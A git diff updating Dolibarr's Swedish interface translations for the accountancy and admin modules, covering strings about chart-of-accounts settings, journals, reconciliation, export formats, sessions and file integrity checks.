-ACCOUNTING_SOCIAL_JOURNAL=Socialloggbok +ACCOUNTING_MISCELLANEOUS_JOURNAL=Allmän journal ACCOUNTING_HAS_NEW_JOURNAL=Har ny loggbok +ACCOUNTING_INVENTORY_JOURNAL=Inventeringsjournal +ACCOUNTING_SOCIAL_JOURNAL=Socialloggbok ACCOUNTING_RESULT_PROFIT=Resultaträkningskonto (vinst) ACCOUNTING_RESULT_LOSS=Resultaträkningskonto (förlust) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Loggbok för stängning -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Redovisningskonto övergångsöverföring +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Konto (från kontoplanen) som ska användas som konto för övergångsbanköverföringar TransitionalAccount=Övergångsbanköverföringskonto -ACCOUNTING_ACCOUNT_SUSPENSE=Redovisningskonto för väntan -DONATION_ACCOUNTINGACCOUNT=Redovisningskonto för att registrera donationer -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Redovisningskonto för att registrera prenumerationer +ACCOUNTING_ACCOUNT_SUSPENSE=Konto (från kontoplanen) som ska användas som konto för icke allokerade medel antingen mottagna eller betalda, dvs medel i "väntar" +DONATION_ACCOUNTINGACCOUNT=Konto (från kontoplanen) som ska användas för att registrera donationer (donationsmodul) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Konto (från kontoplanen) som ska användas för att registrera medlemskapsabonnemang (Medlemsmodul - om medlemskap registrerats utan faktura) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Redovisningskonto som standard för att registrera kundinsättning -UseAuxiliaryAccountOnCustomerDeposit=Use sub-accounts on customer deposit lines +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Konto (från kontoplanen) som ska användas som standardkonto för att registrera kundinsättning +UseAuxiliaryAccountOnCustomerDeposit=Lagra kundkonto som individuellt konto i huvudboken för rader med förskottsbetalningar (om det är inaktiverat förblir individuellt konto för förskottsrader tomt) +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Konto (från kontoplanen) som ska användas som standard +UseAuxiliaryAccountOnSupplierDeposit=Lagra leverantörskonto som individuellt konto i huvudboken för rader med förskottsbetalningar (om det är inaktiverat förblir individuellt konto för förskottsrader tomt) +ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=Bokföringskonto som standard för att registrera kundbehållen garanti -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Redovisningskonto som standard för de köpta produkterna (används om det inte definieras i produktbladet) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Redovisningskonto som standard för de köpta produkterna i EEG (används om det inte definieras i produktbladet) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Redovisningskonto som standard för de köpta produkterna och importeras från EEG (används om det inte definieras i produktbladet) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Bokföringskonto som standard för de sålda produkterna (används om de inte anges i produktbladet) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Redovisningskonto som standard för produkter som säljs i EEG (används om de inte definieras i produktbladet) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Redovisningskonto som standard för de produkter som säljs och exporteras från EEG (används om det inte definieras i produktbladet) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Konto (från kontoplanen) som ska användas som standardkonto för produkter köpta inom samma land (används om det inte definieras i produktbladet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Konto (från kontoplanen) som ska användas som standardkonto för de produkter som köpts från EEC till ett annat EEC-land (används om det inte anges i produktbladet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Konto (från kontoplanen) som ska användas som standardkonto för de produkter som köps och importeras från något annat främmande land (används om det inte definieras i produktbladet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Konto (från kontoplanen) som ska användas som standardkonto för de sålda produkterna (används om det inte definieras i produktbladet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Konto (från kontoplanen) som ska användas som standardkonto för produkter som säljs från EEC till ett annat EEC-land (används om det inte anges i produktbladet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Konto (från kontoplanen) som ska användas som standardkonto för de produkter som säljs och exporteras till något annat främmande land (används om det inte anges i produktbladet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Bokföringskonto som standard för de köpta tjänsterna (används om det inte anges i servicebladet) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Redovisningskonto som standard för de köpta tjänsterna i EEG (används om det inte definieras i tjänstebladet) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Redovisningskonto som standard för de köpta tjänsterna och importeras från EEG (används om det inte definieras i tjänstebladet) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Redovisningskonto som standard för de sålda tjänsterna (används om de inte anges i servicebladet) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Redovisningskonto som standard för tjänster som säljs i EEG (används om de inte definieras i tjänstebladet) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Redovisningskonto som standard för de tjänster som säljs och exporteras från EEG (används om de inte definieras i tjänstebladet) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Konto (från kontoplanen) som ska användas som standardkonto för tjänster köpta inom samma land (används om det inte definieras i servicebladet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Konto (från kontoplanen) som ska användas som standardkonto för tjänster som köpts från EEC till ett annat EEC-land (används om det inte anges i servicebladet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Konto (från kontoplanen) som ska användas som standardkonto för de tjänster som köpts och importerats från ett annat främmande land (används om det inte anges i servicebladet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Konto (från kontoplanen) som ska användas som standardkonto för de sålda tjänsterna (används om det inte definieras i servicebladet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Konto (från kontoplanen) som ska användas som standardkonto för tjänster som säljs från EEC till ett annat EEC-land (används om det inte anges i servicebladet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Konto (från kontoplanen) som ska användas som standardkonto för de tjänster som säljs och exporteras till något annat främmande land (används om det inte anges i servicebladet) Doctype=Typ av dokument Docdate=Datum @@ -211,7 +220,8 @@ Codejournal=Loggbok JournalLabel=Loggboksetikett NumPiece=Stycke nummer TransactionNumShort=Num. transaktion -AccountingCategory=Anpassad grupp +AccountingCategory=Anpassad grupp av konton +AccountingCategories=Anpassade grupper av konton GroupByAccountAccounting=Gruppera efter huvudbokskonto GroupBySubAccountAccounting=Gruppera efter underkontokonto AccountingAccountGroupsDesc=Här kan du definiera vissa grupper av bokföringskonto. De kommer att användas för personliga redovisningsrapporter. @@ -220,14 +230,15 @@ ByPredefinedAccountGroups=Av fördefinierade grupper ByPersonalizedAccountGroups=Av personliga grupper ByYear=Per år NotMatch=Inte inställd -DeleteMvt=Delete some lines from accounting +DeleteMvt=Ta bort några rader från bokföringen DelMonth=Månad att ta bort DelYear=År att radera DelJournal=Loggbok att radera -ConfirmDeleteMvt=This will delete all lines in accountancy for the year/month and/or for a specific journal (At least one criterion is required). You will have to reuse the feature '%s' to have the deleted record back in the ledger. -ConfirmDeleteMvtPartial=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) +ConfirmDeleteMvt=Detta kommer att radera alla rader i bokföring för året/månaden och/eller för en specifik journal (minst ett kriterium krävs). Du måste återanvända funktionen '%s' för att få tillbaka den raderade posten i redovisningen. +ConfirmDeleteMvtPartial=Detta kommer att radera transaktionen från bokföringen (alla rader relaterade till samma transaktion kommer att raderas) FinanceJournal=Finansloggbok ExpenseReportsJournal=Utläggsrapporter loggbok +InventoryJournal=Inventeringsjournal DescFinanceJournal=Finansbokföring inklusive alla typer av betalningar via bankkonto DescJournalOnlyBindedVisible=Detta är en vy över posten som är bunden till ett redovisningskonto och kan registreras i tidskrifterna och storboken. VATAccountNotDefined=Konto för moms inte definierad @@ -247,9 +258,9 @@ DescThirdPartyReport=Här kan du se listan över tredje partskunder och säljare ListAccounts=Förteckning över redovisningskonton UnknownAccountForThirdparty=Okänt tredje part konto. Vi använder %s UnknownAccountForThirdpartyBlocking=Okänt tredje part konto. Blockeringsfel -ThirdpartyAccountNotDefinedOrThirdPartyUnknown=Subledger account not defined or third party or user unknown. We will use %s +ThirdpartyAccountNotDefinedOrThirdPartyUnknown=Underreskontro inte definierat eller tredje part eller användare okänd. Vi kommer att använda %s ThirdpartyAccountNotDefinedOrThirdPartyUnknownSubledgerIgnored=Tredjeparts okänd och underleverantör definieras inte på betalningen. Vi kommer att hålla underskottets kontovärde tomt. -ThirdpartyAccountNotDefinedOrThirdPartyUnknownBlocking=Subledger account not defined or third party or user unknown. Blocking error. +ThirdpartyAccountNotDefinedOrThirdPartyUnknownBlocking=Underreskontro inte definierat eller tredje part eller användare okänd. Blockeringsfel. UnknownAccountForThirdpartyAndWaitingAccountNotDefinedBlocking=Okänt tredje part konto och väntande konto inte definierat. Blockeringsfel PaymentsNotLinkedToProduct=Betalning som inte är kopplad till någon produkt / tjänst OpeningBalance=Öppningsbalans @@ -259,19 +270,20 @@ ShowSubtotalByGroup=Visa delsumma efter nivå Pcgtype=Grupp av konto PcgtypeDesc=Kontogrupp används som fördefinierade kriterier för 'filter' och 'gruppering' för vissa redovisningsrapporter. Till exempel används 'INKOMST' eller 'KOSTNAD' som grupper för redovisning av produkter för att skapa en kostnads- / inkomstrapport. +AccountingCategoriesDesc=Anpassad grupp av konton kan användas för att gruppera redovisningskonton i ett namn för att underlätta filteranvändning eller skapa anpassade rapporter. Reconcilable=Förenlig TotalVente=Total turnover before tax TotalMarge=Total försäljning marginal -DescVentilCustomer=Här kan du se listan över kundfakturor som är bundna (eller inte) till ett konto för produktkonton -DescVentilMore=I de flesta fall, om du använder fördefinierade produkter eller tjänster och du ställer in kontonummeret på produkt- / servicekortet, kommer programmet att kunna göra allt förbindande mellan dina fakturarader och kontot för ditt kontoplan, bara i ett klick med knappen "%s" . Om kontot inte anges på produkt- / servicekort eller om du fortfarande har några rader som inte är kopplade till ett konto måste du göra en manuell förbindning från menyn " %s ". -DescVentilDoneCustomer=Konsultera här listan över raderna av fakturakunder och deras konto för produktkonton -DescVentilTodoCustomer=Binda fakturulinjer som inte redan är bundna med ett konto för produktkonton -ChangeAccount=Ändra produkt- / serviceredovisningskonto för utvalda linjer med följande bokföringskonto: +DescVentilCustomer=Se här listan över kundfakturarader bundna (eller inte) till ett produktkonto från kontoplan +DescVentilMore=I de flesta fall, om du använder fördefinierade produkter eller tjänster och du ställer in kontot (från kontoplan) på produkt-/tjänstkortet, kommer applikationen att kunna göra all bindning mellan dina fakturarader och redovisningskontot för ditt diagram av konton, bara med ett klick med knappen "%s" . Om kontot inte var inställt på produkt-/tjänstkort eller om du fortfarande har några rader som inte är bundna till ett konto, måste du göra en manuell bindning från menyn " %s ". +DescVentilDoneCustomer=Se här listan över rader av fakturakunder och deras produktkonto från kontoplan +DescVentilTodoCustomer=Bind fakturarader som inte redan är bundna till ett produktkonto från kontoplan +ChangeAccount=Ändra produkt-/tjänstkonto (från kontoplan) för de valda raderna med följande konto: Vide=- -DescVentilSupplier=Se här listan över leverantörsfakturorader bundna eller ännu inte bundna till ett produktredovisningskonto (endast post som inte redan överförts i bokföring syns) +DescVentilSupplier=Se här listan över leverantörsfakturarader bundna eller ännu inte bundna till ett produktkonto från kontoplan (endast post som inte redan överförts i bokföringen är synlig) DescVentilDoneSupplier=Här kan du se listan över leverantörsfakturor och deras bokföringskonto DescVentilTodoExpenseReport=Förbinda utläggsrapportsrader som inte redan är bundna med ett konto i bokföringen DescVentilExpenseReport=Här kan du se listan över kostnadsrapporter som är bundna (eller inte) till ett avgiftsredovisningskonto @@ -279,31 +291,32 @@ DescVentilExpenseReportMore=Om du ställer in bokföringskonto på typ av kostna DescVentilDoneExpenseReport=Här kan du se listan över raderna för kostnadsrapporter och deras bokföringskonto Closure=Årlig nedläggning -DescClosure=Consult here the number of movements by month who are not yet validated & locked -OverviewOfMovementsNotValidated=Overview of movements not validated and locked -AllMovementsWereRecordedAsValidated=All movements were recorded as validated and locked -NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated and locked -ValidateMovements=Validate and lock record... +DescClosure=Se här antalet rörelser per månad som ännu inte har validerats och låst +OverviewOfMovementsNotValidated=Översikt över rörelser som inte är validerade och låsta +AllMovementsWereRecordedAsValidated=Alla rörelser registrerades som validerade och låsta +NotAllMovementsCouldBeRecordedAsValidated=Alla rörelser kunde inte registreras som validerade och låsta +ValidateMovements=Validera och låsa rörelser... DescValidateMovements=Alla ändringar eller raderingar av skrift, bokstäver och raderingar är förbjudna. Alla bidrag till en övning måste valideras, annars är det inte möjligt att stänga ValidateHistory=Förbind automatiskt -AutomaticBindingDone=Automatic bindings done (%s) - Automatic binding not possible for some record (%s) +AutomaticBindingDone=Automatiska bindningar gjorda (%s) - Automatisk bindning är inte möjlig för vissa poster (%s) +DoManualBindingForFailedRecord=Du måste göra en manuell länk för %s rad(er) som inte länkas automatiskt. -ErrorAccountancyCodeIsAlreadyUse=Fel, du kan inte ta bort denna redovisningskonto eftersom den används -MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s & Credit = %s +ErrorAccountancyCodeIsAlreadyUse=Fel, du kan inte ta bort eller inaktivera det här kontoplanen eftersom det används +MvtNotCorrectlyBalanced=Rörelse inte korrekt balanserad. Debet = %s & kredit = %s Balancing=Balansering FicheVentilation=Förbindande kort GeneralLedgerIsWritten=Transaktioner skrivs i huvudboken GeneralLedgerSomeRecordWasNotRecorded=Några av transaktionerna kunde inte bokföras. Om det inte finns något annat felmeddelande beror det troligen på att de redan var bokförade. -NoNewRecordSaved=No more record to transfer -ListOfProductsWithoutAccountingAccount=Förteckning över produkter som inte är kopplade till något kontokonto +NoNewRecordSaved=Ingen mer post att överföra +ListOfProductsWithoutAccountingAccount=Lista över produkter som inte är bundna till något kontoplan ChangeBinding=Ändra bindningen Accounted=Redovisas i huvudbok -NotYetAccounted=Not yet transferred to accounting +NotYetAccounted=Ännu inte överfört till bokföring ShowTutorial=Visa handledning NotReconciled=Inte avstämd -WarningRecordWithoutSubledgerAreExcluded=Warning, all lines without subledger account defined are filtered and excluded from this view -AccountRemovedFromCurrentChartOfAccount=Accounting account that does not exist in the current chart of accounts +WarningRecordWithoutSubledgerAreExcluded=Varning, alla rader utan definierat underreskontrakonto filtreras och exkluderas från denna vy +AccountRemovedFromCurrentChartOfAccount=Redovisningskonto som inte finns i gällande kontoplan ## Admin BindingOptions=Bindande alternativ @@ -319,9 +332,10 @@ AccountingJournalType1=Övrig verksamhet AccountingJournalType2=Försäljning AccountingJournalType3=Inköp AccountingJournalType4=Bank -AccountingJournalType5=Utgiftsrapport +AccountingJournalType5=Räkningar AccountingJournalType8=Lager AccountingJournalType9=Har nya +GenerationOfAccountingEntries=Generering av bokföringsposter ErrorAccountingJournalIsAlreadyUse=Denna loggboken används redan AccountingAccountForSalesTaxAreDefinedInto=Obs! Bokföringskonto för försäljningsskatt definieras i menyn %s - %s NumberOfAccountancyEntries=Antal poster @@ -329,11 +343,15 @@ NumberOfAccountancyMovements=Antal rörelser ACCOUNTING_DISABLE_BINDING_ON_SALES=Inaktivera bindning och överföring av bokföring vid försäljning (kundfakturor kommer inte att beaktas vid redovisning) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Inaktivera bindning och överföring av bokföring vid köp (leverantörsfakturor kommer inte att beaktas vid redovisning) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Inaktivera bindning och överföring i bokföring på kostnadsrapporter (kostnadsrapporter kommer inte att beaktas vid redovisning) +ACCOUNTING_ENABLE_LETTERING=Aktivera bokstäverfunktionen i bokföringen +ACCOUNTING_ENABLE_AUTOLETTERING=Aktivera den automatiska bokstäverna vid överföring till bokföring ## Export -NotifiedExportDate=Flag exported lines as Exported (to modify a line, you will need to delete the whole transaction and re-transfert it into accounting) -NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "Closure" feature, modification and deletion of the lines will DEFINITELY not be possible) -DateValidationAndLock=Date validation and lock +NotExportLettering=Exportera inte bokstäverna när filen genereras +NotifiedExportDate=Flagga exporterade rader som exporterade (för att ändra en rad måste du radera hela transaktionen och överföra den till bokföringen igen) +NotifiedValidationDate=Validera och lås de exporterade posterna (samma effekt som "%s"-funktionen, modifiering och radering av raderna kommer DEFINITIVT inte att vara möjligt) +NotifiedExportFull=Exportera dokument? +DateValidationAndLock=Datumvalidering och lås ConfirmExportFile=Bekräftelse på generering av bokföringsexportfilen? ExportDraftJournal=Exportera utkast till loggbok Modelcsv=Modell av export @@ -342,11 +360,11 @@ Modelcsv_normal=Klassisk export Modelcsv_CEGID=Exportera till CEGID Expert Comptabilité Modelcsv_COALA=Exportera till Sage Coala Modelcsv_bob50=Export för Sage BOB 50 -Modelcsv_ciel=Export for Sage50, Ciel Compta or Compta Evo. (Format XIMPORT) +Modelcsv_ciel=Exportera för Sage50, Ciel Compta eller Compta Evo. (Format XIMPORT) Modelcsv_quadratus=Exportera till Quadratus QuadraCompta Modelcsv_ebp=Exportera till EBP Modelcsv_cogilog=Exportera till Cogilog -Modelcsv_agiris=Export for Agiris Isacompta +Modelcsv_agiris=Export för Agiris Isacompta Modelcsv_LDCompta=Exportera för LD Compta (v9) (Test) Modelcsv_LDCompta10=Exportera för LD Compta (v10 och högre) Modelcsv_openconcerto=Exportera för OpenConcerto (Test) @@ -354,10 +372,10 @@ Modelcsv_configurable=Exportera CSV konfigurerbar Modelcsv_FEC=Exportera FEC Modelcsv_FEC2=Exportera FEC (med datumgenerering / omvänd dokument) Modelcsv_Sage50_Swiss=Export för Sage 50 Schweiz -Modelcsv_winfic=Export for Winfic - eWinfic - WinSis Compta +Modelcsv_winfic=Exportera för Winfic - eWinfic - WinSis Compta Modelcsv_Gestinumv3=Exportera för Gestinum (v3) -Modelcsv_Gestinumv5=Export for Gestinum (v5) -Modelcsv_charlemagne=Export for Aplim Charlemagne +Modelcsv_Gestinumv5=Exportera för Gestinum (v5) +Modelcsv_charlemagne=Export för Aplim Charlemagne ChartofaccountsId=Diagram över konton Id ## Tools - Init accounting account on product / service @@ -389,28 +407,33 @@ SaleLocal=Lokal försäljning SaleExport=Exportförsäljning SaleEEC=Försäljning i EEG SaleEECWithVAT=Försäljning i EEG med moms som inte är null, så vi antar att detta INTE är en försäljning inom gemenskapen och det föreslagna kontot är standardproduktkontot. -SaleEECWithoutVATNumber=Försäljning i EEG utan moms men tredjeparts moms-ID definieras inte. Vi återgår till produktkontot för standardförsäljning. Du kan fastställa tredjeparts moms-ID eller produktkonto om det behövs. -ForbiddenTransactionAlreadyExported=Forbidden: The transaction has been validated and/or exported. -ForbiddenTransactionAlreadyValidated=Forbidden: The transaction has been validated. +SaleEECWithoutVATNumber=Försäljning i EEC utan moms men tredje parts momsregistreringsnummer är inte definierat. Vi faller tillbaka på kontot för standardförsäljning. Du kan fixa tredje parts momsregistreringsnummer eller ändra produktkontot som föreslås för bindning om det behövs. +ForbiddenTransactionAlreadyExported=Förbjudet: Transaktionen har validerats och/eller exporterats. +ForbiddenTransactionAlreadyValidated=Förbjudet: Transaktionen har validerats. ## Dictionary Range=Räckvidd av bokföringskonto Calculated=Beräknad Formula=Formel ## Reconcile -Unlettering=Unreconcile -AccountancyNoLetteringModified=No reconcile modified -AccountancyOneLetteringModifiedSuccessfully=One reconcile successfully modified -AccountancyLetteringModifiedSuccessfully=%s reconcile successfully modified -AccountancyNoUnletteringModified=No unreconcile modified -AccountancyOneUnletteringModifiedSuccessfully=One unreconcile successfully modified -AccountancyUnletteringModifiedSuccessfully=%s unreconcile successfully modified +LetteringAuto=Avstämning auto +LetteringManual=Avstämning manuell +Unlettering=Ta bort avstämning +UnletteringAuto=Ta bort automatisk avstämning +UnletteringManual=Tabort manuell avstämning +AccountancyNoLetteringModified=Ingen avstämning modifierad +AccountancyOneLetteringModifiedSuccessfully=En avstämning har modifierats +AccountancyLetteringModifiedSuccessfully=%s avstämning har modifierats +AccountancyNoUnletteringModified=Ingen avstämning har modifierats +AccountancyOneUnletteringModifiedSuccessfully=En avstämning har modifierats +AccountancyUnletteringModifiedSuccessfully=%s unreconcile har modifierats ## Confirm box -ConfirmMassUnlettering=Bulk Unreconcile confirmation -ConfirmMassUnletteringQuestion=Are you sure you want to Unreconcile the %s selected record(s)? -ConfirmMassDeleteBookkeepingWriting=Bulk Delete confirmation -ConfirmMassDeleteBookkeepingWritingQuestion=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) Are you sure you want to delete the %s selected record(s)? +ConfirmMassUnletteringAuto=Bekräftelse av automatisk avstämning av bulk +ConfirmMassUnletteringManual=Bekräftelse av manuell avstämning av bulk +ConfirmMassUnletteringQuestion=Är du säker på att du vill ta bort de %s valda posterna? +ConfirmMassDeleteBookkeepingWriting=Massraderingsbekräftelse +ConfirmMassDeleteBookkeepingWritingQuestion=Detta kommer att radera transaktionen från bokföringen (alla rader relaterade till samma transaktion kommer att raderas) Är du säker på att du vill ta bort den eller de valda posterna %s? ## Error SomeMandatoryStepsOfSetupWereNotDone=Några obligatoriska steg för installationen var inte färdiga, var god fyll i dem @@ -423,10 +446,12 @@ NoJournalDefined=Ingen loggbok definierad Binded=Förbundna rader ToBind=Rader att förbinda UseMenuToSetBindindManualy=Linjer som ännu inte är bundna, använd menyn %s för att göra bindningen manuellt -SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices=Sorry this module is not compatible with the experimental feature of situation invoices -AccountancyErrorMismatchLetterCode=Mismatch in reconcile code -AccountancyErrorMismatchBalanceAmount=The balance (%s) is not equal to 0 -AccountancyErrorLetteringBookkeeping=Errors have occurred concerning the transactions: %s +SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices=Tyvärr är den här modulen inte kompatibel med den experimentella funktionen i situationsfakturor +AccountancyErrorMismatchLetterCode=Missmatch i avstämningskod +AccountancyErrorMismatchBalanceAmount=Saldot (%s) är inte lika med 0 +AccountancyErrorLetteringBookkeeping=Fel har uppstått angående transaktionerna: %s +ErrorAccountNumberAlreadyExists=Kontonumret %s finns redan +ErrorArchiveAddFile=Kan inte lägga "%s"-filen i arkivet ## Import ImportAccountingEntries=Redovisningsposter @@ -453,6 +478,7 @@ FECFormatMulticurrencyCode=Flervalskod (Idevise) DateExport=Datum export WarningReportNotReliable=Varning, den här rapporten är inte baserad på huvudboken-modulen, så den innehåller inte transaktioner modifierad manuellt i huvudboken. Om din bokföring är uppdaterad är bokföringsvisningen mer exakt. ExpenseReportJournal=Kostnadsrapportsloggbok -InventoryJournal=Inventarieloggbok +DocsAlreadyExportedAreExcluded=Dokument som redan har exporterats exkluderas +ClickToHideAlreadyExportedLines=Klicka för att dölja redan exporterade rader NAccounts=%s-konton diff --git a/htdocs/langs/sv_SE/admin.lang b/htdocs/langs/sv_SE/admin.lang index afd89b4fd7b..537dc5c4ce0 100644 --- a/htdocs/langs/sv_SE/admin.lang +++ b/htdocs/langs/sv_SE/admin.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - admin -BoldRefAndPeriodOnPDF=Print reference and period of product item in PDF -BoldLabelOnPDF=Print label of product item in Bold in PDF +BoldRefAndPeriodOnPDF=Skriv ut referens och period för produkt i PDF +BoldLabelOnPDF=Skriv ut etiketter för produkt i fetstil i PDF Foundation=Stiftelse Version=Version Publisher=Utgivare @@ -12,1453 +12,1476 @@ VersionDevelopment=Utveckling VersionUnknown=Okänd VersionRecommanded=Rekommenderad FileCheck=Integritetskontroll av filer -FileCheckDesc=Med det här verktyget kan du kontrollera filens integritet och inställningen av din ansökan, jämföra varje fil med den officiella. Värdet på vissa inställningskonstanter kan också kontrolleras. Du kan använda det här verktyget för att avgöra om några filer har ändrats (t.ex. av en hackare). +FileCheckDesc=Med det här verktyget kan du kontrollera filintegritet och inställningar i din applikation, och jämföra varje fil med de officiella. Värdet på vissa inställningskonstanter kan också kontrolleras. Du kan använda det här verktyget för att avgöra om några filer har ändrats (t.ex. av en hackare). FileIntegrityIsStrictlyConformedWithReference=Filens integritet överensstämmer strikt med referensen. -FileIntegrityIsOkButFilesWereAdded=Filens integritetskontroll har passerat, men vissa nya filer har lagts till. -FileIntegritySomeFilesWereRemovedOrModified=Kontroll av filer integritet har misslyckats. Vissa filer har ändrats, tagits bort eller lagts till. +FileIntegrityIsOkButFilesWereAdded=Filens integritetskontroll har klarats, men vissa nya filer har lagts till. +FileIntegritySomeFilesWereRemovedOrModified=Kontroll av filintegritet har misslyckats. Vissa filer har ändrats, tagits bort eller lagts till. GlobalChecksum=Global kontrollsumma MakeIntegrityAnalysisFrom=Gör integritetsanalys av applikationsfiler från LocalSignature=Inbäddad lokal signatur (mindre tillförlitlig) -RemoteSignature=Fjärrlägsen signatur (mer tillförlitlig) +RemoteSignature=Fjärrsignatur (mer tillförlitlig) FilesMissing=Saknade filer FilesUpdated=Uppdaterade filer FilesModified=Ändrade filer FilesAdded=Tillagda filer -FileCheckDolibarr=Kontrollera integriteten av applikationsfiler +FileCheckDolibarr=Kontrollera integriteten på filer AvailableOnlyOnPackagedVersions=Den lokala filen för integritetskontroll är endast tillgänglig när programmet är installerat från ett officiellt paket -XmlNotFound=Xml Integritetsfilen för ansökan hittades inte -SessionId=Session ID -SessionSaveHandler=Handler för att spara sessioner -SessionSavePath=Stig för sessionslagring -PurgeSessions=Utrensning av sessioner -ConfirmPurgeSessions=Vill du verkligen tömma alla sessioner? Detta kommer logga ut alla användare (förutom dig själv). -NoSessionListWithThisHandler=Spara session handler konfigurerad i ditt PHP tillåter inte att lista alla körsessioner. +XmlNotFound=Xml integritetsfilen för applikationen hittades inte +SessionId=Sessions ID +SessionSaveHandler=Hanterare för att spara sessioner +SessionSavePath=Sökväg för sessionslagring +PurgeSessions=Rensning av sessioner +ConfirmPurgeSessions=Vill du verkligen rensa alla sessioner? Detta kommer logga ut alla användare (utom dig själv). +NoSessionListWithThisHandler=Hanteraren för sparade sessioner konfigurerad i PHP tillåter inte att lista alla körsessioner. LockNewSessions=Lås nya förbindelser ConfirmLockNewSessions=Är du säker på att du vill begränsa alla nya Dolibarr-anslutningar till dig själv? Endast användare %s kommer att kunna ansluta efter det. UnlockNewSessions=Ta bort lås för anslutning YourSession=Din session Sessions=Användarsessioner -WebUserGroup=Webbserver användare / grupp -PermissionsOnFiles=Behörigheter för filer -PermissionsOnFilesInWebRoot=Behörigheter för filer i webbrotkatalogen -PermissionsOnFile=Behörigheter på fil %s -NoSessionFound=Din PHP-konfiguration verkar inte tillåta att du registrerar aktiva sessioner. Den katalog som används för att spara sessioner ( %s ) kan skyddas (till exempel av operatörsbehörigheter eller genom PHP-direktivet open_basedir). -DBStoringCharset=Databas charset för att lagra data -DBSortingCharset=Databas charset att sortera data +WebUserGroup=Webbserver användare/grupp +PermissionsOnFiles=Rättigheter på filer +PermissionsOnFilesInWebRoot=Rättigheter på filer i root-katalogen +PermissionsOnFile=Rättigheter på filen %s +NoSessionFound=Din PHP-konfiguration verkar inte tillåta att du listar aktiva sessioner. Den katalog som används för att spara sessioner ( %s ) kan skyddas (till exempel via rättigheter eller genom PHP-direktivet open_basedir). +DBStoringCharset=Databasens teckenuppsättning för att lagra data +DBSortingCharset=Databasens teckenuppsättning för att sortera data HostCharset=Teckenuppsättning för värd -ClientCharset=Klientcharset +ClientCharset=Klientens teckenuppsättning ClientSortingCharset=Klientsamling -WarningModuleNotActive=Modul %s måste vara aktiverat -WarningOnlyPermissionOfActivatedModules=Endast behörigheter som rör aktiverad moduler visas här. Du kan aktivera andra moduler i Hem-> Inställningar-> moduler. -DolibarrSetup=Dolibarr installera eller uppgradera -InternalUser=Intern användare -ExternalUser=Extern användare +WarningModuleNotActive=Modulen %s måste vara aktiverad +WarningOnlyPermissionOfActivatedModules=Endast rättigheter som rör aktiverad moduler visas här. Du kan aktivera andra moduler i Hem-> Inställningar-> Moduler. +DolibarrSetup=Dolibarr installation eller uppgradering InternalUsers=Interna användare ExternalUsers=Externa användare UserInterface=Användargränssnitt GUISetup=Visa SetupArea=Inställning -UploadNewTemplate=Ladda upp ny mall (er) +UploadNewTemplate=Ladda upp mall FormToTestFileUploadForm=Formulär för att testa filuppladdning (enligt inställningar) -ModuleMustBeEnabled=Modulen / applikationen %s måste vara aktiverad -ModuleIsEnabled=Modulen / applikationen %s har aktiverats -IfModuleEnabled=Anm: ja effektivt endast om modul %s är aktiverat -RemoveLock=Ta bort / byt namn på filen %s om den existerar, för att tillåta användning av Update / Install-verktyget. -RestoreLock=Återställ fil %s , endast med läsbehörighet, för att inaktivera ytterligare användning av Update / Install-verktyget. -SecuritySetup=Säkerhets inställning +ModuleMustBeEnabled=Modulen/applikationen %s måste vara aktiverad +ModuleIsEnabled=Modulen/applikationen %s har aktiverats +IfModuleEnabled=Obs: ja är bara effektivt endast om modulen %s är aktiverad +RemoveLock=Ta bort/byt namn på filen %s om den existerar, för att tillåta användning av verktyget uppdatera/installera. +RestoreLock=Återställ filen %s med endast läsbehörighet för att inaktivera ytterligare användning av verktyget uppdatera/installera. +SecuritySetup=Säkerhetsinställning PHPSetup=PHP-inställning OSSetup=Inställning av operativsystem -SecurityFilesDesc=Definiera här alternativ relaterade till säkerhet om uppladdning av filer. -ErrorModuleRequirePHPVersion=Fel, kräver denna modul PHP version %s eller högre -ErrorModuleRequireDolibarrVersion=Fel, kräver denna modul Dolibarr version %s eller högre +SecurityFilesDesc=Ange alternativ relaterade till säkerhet rörande uppladdning av filer. 